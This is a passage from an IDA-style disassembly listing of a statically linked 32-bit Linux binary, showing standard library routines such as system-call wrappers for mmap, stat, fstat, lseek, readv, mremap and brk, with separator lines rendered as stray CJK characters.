[ebx+38h], 0 jnz short loc_8065B68 push ebx call sub_8065698 add esp, 4 test eax, eax jnz short loc_8065B68 loc_8065B63: ; CODE XREF: sub_8065B2C+1Bj xor eax, eax jmp short loc_8065B80 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065B68: ; CODE XREF: sub_8065B2C+Aj ; sub_8065B2C+28j ... cmp dword ptr [ebx+34h], 0 jg short loc_8065B38 cmp dword ptr [ebx+38h], 0 jz short loc_8065B38 mov dword ptr [ebx+38h], 0 mov eax, 1 loc_8065B80: ; CODE XREF: sub_8065B2C+39j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8065B2C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065B88 proc near var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [eax+0Ch] jmp short loc_8065BBF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065B94: ; CODE XREF: sub_8065B88+3Bj ; sub_8065B88+41j mov eax, [ebx+34h] push eax push ebx call sub_80656E8 add esp, 8 test eax, eax jz short loc_8065BD8 mov dword ptr [ebx+34h], 0 cmp dword ptr [ebx+38h], 0 jnz short loc_8065BBF push ebx call sub_8065698 add esp, 4 test eax, eax jz short loc_8065BD8 loc_8065BBF: ; CODE XREF: sub_8065B88+Aj ; sub_8065B88+28j cmp dword ptr [ebx+34h], 0 jg short loc_8065B94 cmp dword ptr [ebx+38h], 0 jz short loc_8065B94 mov eax, [ebx+2Ch] cmp [ebx+30h], eax jz short loc_8065BD8 xor eax, eax jmp short loc_8065BDD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065BD8: ; CODE XREF: sub_8065B88+1Bj ; sub_8065B88+35j ... mov eax, 1 loc_8065BDD: ; CODE XREF: sub_8065B88+4Dj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8065B88 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065BE4 proc near ; CODE XREF: sub_8063D20+D2p ; sub_8063D20+E1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] cmp [ebp+arg_4], 0 jnz short loc_8065C04 cmp dword ptr [ecx+1Ch], 0 jnz short loc_8065C04 mov eax, [ecx+10h] add eax, 4 cmp [ecx+14h], eax ja short loc_8065C18 loc_8065C04: ; CODE XREF: sub_8065BE4+Dj ; sub_8065BE4+13j mov dword ptr [ecx+1Ch], 0 push 1 push ecx call sub_8065588 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065C18: ; CODE XREF: sub_8065BE4+1Ej mov eax, [ecx+10h] sub eax, [ecx+18h] add eax, 0FFFFFFFCh mov edx, [ecx+18h] or eax, 80000000h xchg al, ah ror eax, 10h xchg al, ah mov [edx], eax mov eax, [ecx+10h] mov [ecx+18h], eax add dword ptr [ecx+10h], 4 mov eax, 1 mov esp, ebp pop ebp retn sub_8065BE4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065C48 proc near ; CODE XREF: sub_80649C0+Cp push ebp mov ebp, esp mov eax, 100h mov esp, ebp pop ebp retn sub_8065C48 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065C54 proc near ; CODE XREF: sub_80575B0+3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov [ebp+var_4], eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 2 call sigprocmask test eax, eax jge short loc_8065C7C mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065C7C: ; CODE XREF: sub_8065C54+1Dj mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_8065C54 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065C84 proc near ; CODE XREF: sub_805D5F8+1Dp var_190 = byte ptr -190h var_188 = byte ptr -188h var_43 = byte ptr -43h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 188h push edi push ebx mov ebx, [ebp+arg_0] test ebx, ebx jz short loc_8065CD0 lea eax, [ebp+var_188] push eax call uname add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_8065CDA lea edx, [ebp+var_43] xor al, al mov edi, edx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax cmp [ebp+arg_4], eax jb short loc_8065CD0 push edx push ebx call strcpy xor eax, eax jmp short loc_8065CDF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065CD0: ; CODE XREF: sub_8065C84+10j ; sub_8065C84+3Cj mov __errno, 16h loc_8065CDA: ; CODE XREF: sub_8065C84+24j mov eax, 0FFFFFFFFh loc_8065CDF: ; CODE XREF: sub_8065C84+47j lea esp, [ebp+var_190] pop ebx pop edi mov esp, ebp pop ebp retn sub_8065C84 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden mmap proc near ; CODE XREF: sub_805BA88+34p ; sub_805E640+5Ep ... var_28 = byte ptr -28h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch push edi push esi push ebx mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov esi, [ebp+arg_10] mov edi, [ebp+arg_14] mov eax, [ebp+arg_0] mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], ecx mov ebx, [ebp+arg_C] mov [ebp+var_C], ebx mov [ebp+var_8], esi mov [ebp+var_4], edi lea edx, [ebp+var_18] mov eax, 5Ah mov ebx, edx int 80h ; LINUX - old_mmap mov edx, eax lea eax, [edx+1000h] cmp eax, 0FFFh ja short loc_8065D41 neg edx mov __errno, edx mov edx, 0FFFFFFFFh loc_8065D41: ; CODE XREF: mmap+46j mov eax, edx lea esp, [ebp+var_28] pop ebx pop esi pop edi mov esp, ebp pop ebp retn mmap endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden stat proc near ; CODE XREF: sub_805E110+4Cp ; sub_805E110+266p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx cmp [ebp+arg_0], 1 jnz short loc_8065D74 mov eax, 6Ah mov ebx, [ebp+arg_4] mov ecx, [ebp+arg_8] int 80h ; LINUX - sys_newstat test eax, eax jge short loc_8065D83 neg eax mov __errno, eax jmp short loc_8065D7E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065D74: ; CODE XREF: stat+8j mov __errno, 16h loc_8065D7E: ; CODE XREF: stat+22j mov eax, 0FFFFFFFFh loc_8065D83: ; CODE XREF: stat+19j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn stat endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden fstat proc near ; CODE XREF: sub_80614E0+10p ; sub_8066BFC+11Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx cmp [ebp+arg_0], 1 jnz short loc_8065DB0 mov eax, 6Ch mov ebx, [ebp+arg_4] mov ecx, [ebp+arg_8] int 80h ; LINUX - sys_newfstat test eax, eax jge short loc_8065DBF neg eax mov __errno, eax jmp short loc_8065DBA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065DB0: ; CODE XREF: fstat+8j mov __errno, 16h loc_8065DBA: ; CODE XREF: fstat+22j mov eax, 0FFFFFFFFh loc_8065DBF: ; CODE XREF: fstat+19j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn fstat endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065DC8 proc near ; DATA XREF: sub_8065DE0+1Co arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_80661E8 cmp eax, 0FFFFFFFFh jnz short loc_8065DDB xor eax, eax loc_8065DDB: ; CODE XREF: sub_8065DC8+Fj mov esp, ebp pop ebp retn sub_8065DC8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065DE0 proc near ; CODE XREF: sub_805BBF4+45p ; sub_805BBF4+D6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] call sub_8066230 test eax, eax jnz short loc_8065E11 cmp dword_8078B30, offset sub_8065DE0 jnz short loc_8065E06 mov dword_8078B30, offset sub_8065DC8 loc_8065E06: ; CODE XREF: sub_8065DE0+1Aj push ebx call sub_80661E8 cmp eax, 0FFFFFFFFh jnz short loc_8065E13 loc_8065E11: ; CODE XREF: sub_8065DE0+Ej xor eax, eax loc_8065E13: ; CODE XREF: sub_8065DE0+2Fj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8065DE0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065E1C proc near ; CODE XREF: sub_805CE84+186p var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx xor edi, edi mov [ebp+var_8], 0 cmp [ebp+arg_8], edi jbe loc_8065FCE mov ebx, [ebp+arg_4] mov eax, [ebp+arg_8] and eax, 1Fh cmp [ebp+arg_8], edi jle short loc_8065EC1 test eax, eax jz loc_8065EF8 cmp eax, 8 jle short loc_8065EC1 cmp eax, 10h jle short loc_8065E8F cmp eax, 19h jge loc_8065EF8 mov eax, 8 cmp [ebp+arg_8], 8 ja short loc_8065E6E mov eax, [ebp+arg_8] loc_8065E6E: ; CODE XREF: sub_8065E1C+4Dj push eax push ebx mov edx, [ebp+arg_0] push edx call readv mov esi, eax add esp, 0Ch test esi, esi jl loc_8065FAB add ebx, 40h add edi, 8 add [ebp+var_8], esi loc_8065E8F: ; CODE XREF: sub_8065E1C+39j mov esi, [ebp+arg_8] sub esi, edi mov eax, 8 cmp esi, 8 ja short loc_8065EA0 mov eax, esi loc_8065EA0: ; CODE XREF: sub_8065E1C+80j push eax push ebx mov ecx, [ebp+arg_0] push ecx call readv mov esi, eax add esp, 0Ch test esi, esi jl loc_8065FAB add ebx, 40h add edi, 8 add [ebp+var_8], esi loc_8065EC1: ; CODE XREF: sub_8065E1C+27j ; sub_8065E1C+34j mov esi, [ebp+arg_8] sub esi, edi mov eax, 8 cmp esi, 8 ja short loc_8065ED2 mov eax, esi loc_8065ED2: ; CODE XREF: sub_8065E1C+B2j push eax push ebx mov edx, [ebp+arg_0] push edx call readv mov esi, eax add esp, 0Ch test esi, esi jl loc_8065FAB add ebx, 40h add edi, 8 jmp loc_8065FC2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065EF8: ; CODE XREF: sub_8065E1C+2Bj ; sub_8065E1C+3Ej ... mov esi, [ebp+arg_8] sub esi, edi mov eax, 8 cmp esi, 8 ja short loc_8065F09 mov eax, esi loc_8065F09: ; CODE XREF: sub_8065E1C+E9j push eax push ebx mov ecx, [ebp+arg_0] push ecx call readv mov esi, eax add esp, 0Ch test esi, esi jl loc_8065FAB add ebx, 40h lea eax, [edi+8] add [ebp+var_8], esi mov esi, [ebp+arg_8] sub esi, eax mov eax, 8 cmp esi, 8 ja short loc_8065F3B mov eax, esi loc_8065F3B: ; CODE XREF: sub_8065E1C+11Bj push eax push ebx mov edx, [ebp+arg_0] push edx call readv mov esi, eax add esp, 0Ch test esi, esi jl short loc_8065FAB add ebx, 40h lea eax, [edi+10h] add [ebp+var_8], esi mov esi, [ebp+arg_8] sub esi, eax mov eax, 8 cmp esi, 8 ja short loc_8065F69 mov eax, esi loc_8065F69: ; CODE XREF: sub_8065E1C+149j push eax push ebx mov ecx, [ebp+arg_0] push ecx call readv mov esi, eax add esp, 0Ch test esi, esi jl short loc_8065FAB add ebx, 40h lea eax, [edi+18h] add [ebp+var_8], esi mov esi, [ebp+arg_8] sub esi, eax mov eax, 8 cmp esi, 8 ja short loc_8065F97 mov eax, esi loc_8065F97: ; CODE XREF: sub_8065E1C+177j push eax push ebx mov edx, [ebp+arg_0] push edx call readv mov esi, eax add esp, 0Ch test esi, esi jge short loc_8065FBC loc_8065FAB: ; CODE XREF: sub_8065E1C+64j ; sub_8065E1C+96j ... cmp __errno, 26h jz short loc_8065FD8 jmp loc_80660E7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065FBC: ; CODE XREF: sub_8065E1C+18Dj add ebx, 40h add edi, 20h loc_8065FC2: ; CODE XREF: sub_8065E1C+D4j add [ebp+var_8], esi cmp [ebp+arg_8], edi ja loc_8065EF8 loc_8065FCE: ; CODE XREF: sub_8065E1C+15j mov eax, [ebp+var_8] jmp loc_80660E7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065FD8: ; CODE XREF: sub_8065E1C+196j mov __errno, 0 mov [ebp+var_8], 0 xor edi, edi cmp [ebp+arg_8], edi jbe short loc_8066064 mov eax, [ebp+arg_8] and eax, 3 cmp [ebp+arg_8], edi jle short loc_8066023 test eax, eax jz short loc_8066034 cmp eax, 1 jle short loc_8066023 cmp eax, 2 jle short loc_8066018 mov ecx, [ebp+arg_4] mov edi, [ecx+edi*8+4] mov [ebp+var_8], edi mov edi, 1 loc_8066018: ; CODE XREF: sub_8065E1C+1EBj mov edx, [ebp+arg_4] mov edx, [edx+edi*8+4] add [ebp+var_8], edx inc edi loc_8066023: ; CODE XREF: sub_8065E1C+1DDj ; sub_8065E1C+1E6j mov ecx, [ebp+arg_4] mov ecx, [ecx+edi*8+4] add [ebp+var_8], ecx inc edi cmp [ebp+arg_8], edi jbe short loc_8066064 nop loc_8066034: ; CODE XREF: sub_8065E1C+1E1j ; sub_8065E1C+246j mov edx, [ebp+arg_4] mov edx, [edx+edi*8+4] add [ebp+var_8], edx mov ecx, [ebp+arg_4] mov ecx, [ecx+edi*8+0Ch] add [ebp+var_8], ecx mov edx, [ebp+arg_4] mov edx, [edx+edi*8+14h] add [ebp+var_8], edx mov ecx, [ebp+arg_4] mov ecx, [ecx+edi*8+1Ch] add [ebp+var_8], ecx add edi, 4 cmp [ebp+arg_8], edi ja short loc_8066034 loc_8066064: ; CODE XREF: sub_8065E1C+1D2j ; sub_8065E1C+215j mov eax, [ebp+var_8] add eax, 3 and al, 0FCh sub esp, eax mov [ebp+var_4], esp mov edx, [ebp+var_8] push edx mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call read mov esi, eax add esp, 0Ch test esi, esi jge short loc_8066094 mov eax, 0FFFFFFFFh jmp short loc_80660E7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066094: ; CODE XREF: sub_8065E1C+26Dj test esi, esi jnz short loc_806609C xor eax, eax jmp short loc_80660E7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806609C: ; CODE XREF: sub_8065E1C+27Aj mov [ebp+var_8], esi xor edi, edi cmp [ebp+arg_8], edi jbe short loc_80660E5 lea esi, [esi] loc_80660A8: ; CODE XREF: sub_8065E1C+2C7j mov edx, [ebp+var_8] mov ecx, [ebp+arg_4] cmp [ecx+edi*8+4], edx jbe short loc_80660BC mov ebx, [ebp+var_8] jmp short loc_80660C3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80660BC: ; CODE XREF: sub_8065E1C+296j mov ecx, [ebp+arg_4] mov ebx, [ecx+edi*8+4] loc_80660C3: ; CODE XREF: sub_8065E1C+29Bj mov edx, [ebp+arg_4] mov eax, [edx+edi*8] push ebx mov ecx, [ebp+var_4] push ecx push eax call memcpy add esp, 0Ch add [ebp+var_4], ebx sub [ebp+var_8], ebx jz short loc_80660E5 inc edi cmp [ebp+arg_8], edi ja short loc_80660A8 loc_80660E5: ; CODE XREF: sub_8065E1C+288j ; sub_8065E1C+2C1j mov eax, esi loc_80660E7: ; CODE XREF: sub_8065E1C+198j ; sub_8065E1C+1B5j ... lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065E1C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden fcntl proc near ; CODE XREF: sub_805CE84+427p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, 37h mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] int 80h ; LINUX - sys_fcntl mov edx, eax test edx, edx jge short loc_806611E neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_806611E: ; CODE XREF: fcntl+18j pop ebx mov esp, ebp pop ebp retn fcntl endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden lseek proc near ; CODE XREF: sub_80614C4+12p ; sub_80659EC+12p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, 13h mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] int 80h ; LINUX - sys_lseek mov edx, eax test edx, edx jge short loc_806614E neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_806614E: ; CODE XREF: lseek+18j pop ebx mov esp, ebp pop ebp retn lseek endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden munmap proc near ; CODE XREF: sub_805BB34+15p ; sub_805E5B8+29p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, 5Bh mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] int 80h ; LINUX - sys_munmap mov edx, eax test edx, edx jge short loc_806617B neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_806617B: ; CODE XREF: munmap+15j pop ebx mov esp, ebp pop ebp retn munmap endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden readv proc near ; CODE XREF: sub_8065E1C+58p ; sub_8065E1C+8Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, 91h mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] int 80h ; LINUX - sys_readv mov edx, eax test edx, edx jge short loc_80661AA neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_80661AA: ; CODE XREF: readv+18j pop ebx mov esp, ebp pop ebp retn readv endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden mremap proc near ; CODE XREF: sub_805BB64+2Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push ebx mov eax, 0A3h mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] mov esi, [ebp+arg_C] int 80h ; LINUX - sys_mremap mov edx, eax cmp edx, 0FFFFF000h jbe short loc_80661E2 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_80661E2: ; CODE XREF: mremap+20j pop ebx pop esi mov esp, ebp pop ebp retn mremap endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80661E8 proc near ; CODE XREF: sub_8065DC8+7p ; sub_8065DE0+27p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] call sub_8066230 test eax, eax jnz short loc_8066222 mov ebx, esi add ebx, dword_8079280 mov eax, 2Dh int 80h ; LINUX - sys_brk mov dword_8079280, eax cmp eax, ebx jnz short loc_8066218 mov eax, ebx sub eax, esi jmp short loc_8066227 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8066218: ; CODE XREF: sub_80661E8+27j mov __errno, 0Ch loc_8066222: ; CODE XREF: sub_80661E8+Fj mov eax, 0FFFFFFFFh loc_8066227: ; CODE XREF: sub_80661E8+2Dj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80661E8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8066230 proc near ; CODE XREF: sub_8065DE0+7p ; sub_80661E8+8p var_4 = dword ptr -4 push ebp mov ebp, esp push ebx cmp dword_8079280, 0 jnz short loc_8066260 mov eax, 2Dh xor ebx, ebx int 80h ; LINUX - sys_brk mov dword_8079280, eax test eax, eax jnz short loc_8066260 mov __errno, 0Ch mov eax, 0FFFFFFFFh jmp short loc_8066262 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8066260: ; CODE XREF: sub_8066230+Bj ; sub_8066230+1Dj xor eax, eax loc_8066262: ; CODE XREF: sub_8066230+2Ej mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8066230 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806626C proc near ; CODE XREF: sub_805CCB0+46p ; sub_805CE84+ECp ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push ebx mov ebx, [ebp+arg_4] mov edi, [ebp+arg_0] test ebx, ebx jle short loc_80662A0 xor eax, eax cld cmp ebx, 0Bh jle short loc_806629C mov edx, edi neg edx and edx, 3 sub ebx, edx mov ecx, edx repe stosb mov edx, ebx shr edx, 2 mov ecx, edx repe stosd and ebx, 3 loc_806629C: ; CODE XREF: sub_806626C+15j mov ecx, ebx repe stosb loc_80662A0: ; CODE XREF: sub_806626C+Dj lea esp, [ebp+var_8] pop ebx pop edi mov esp, ebp pop ebp retn sub_806626C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 7 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80662B0 proc near ; CODE XREF: sub_8063688+42p ; sub_8063688+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push edi mov edx, [ebp+arg_0] xor eax, eax mov ecx, edx and ecx, 3 jz short loc_80662F3 cmp [edx], ch jz loc_806636E inc 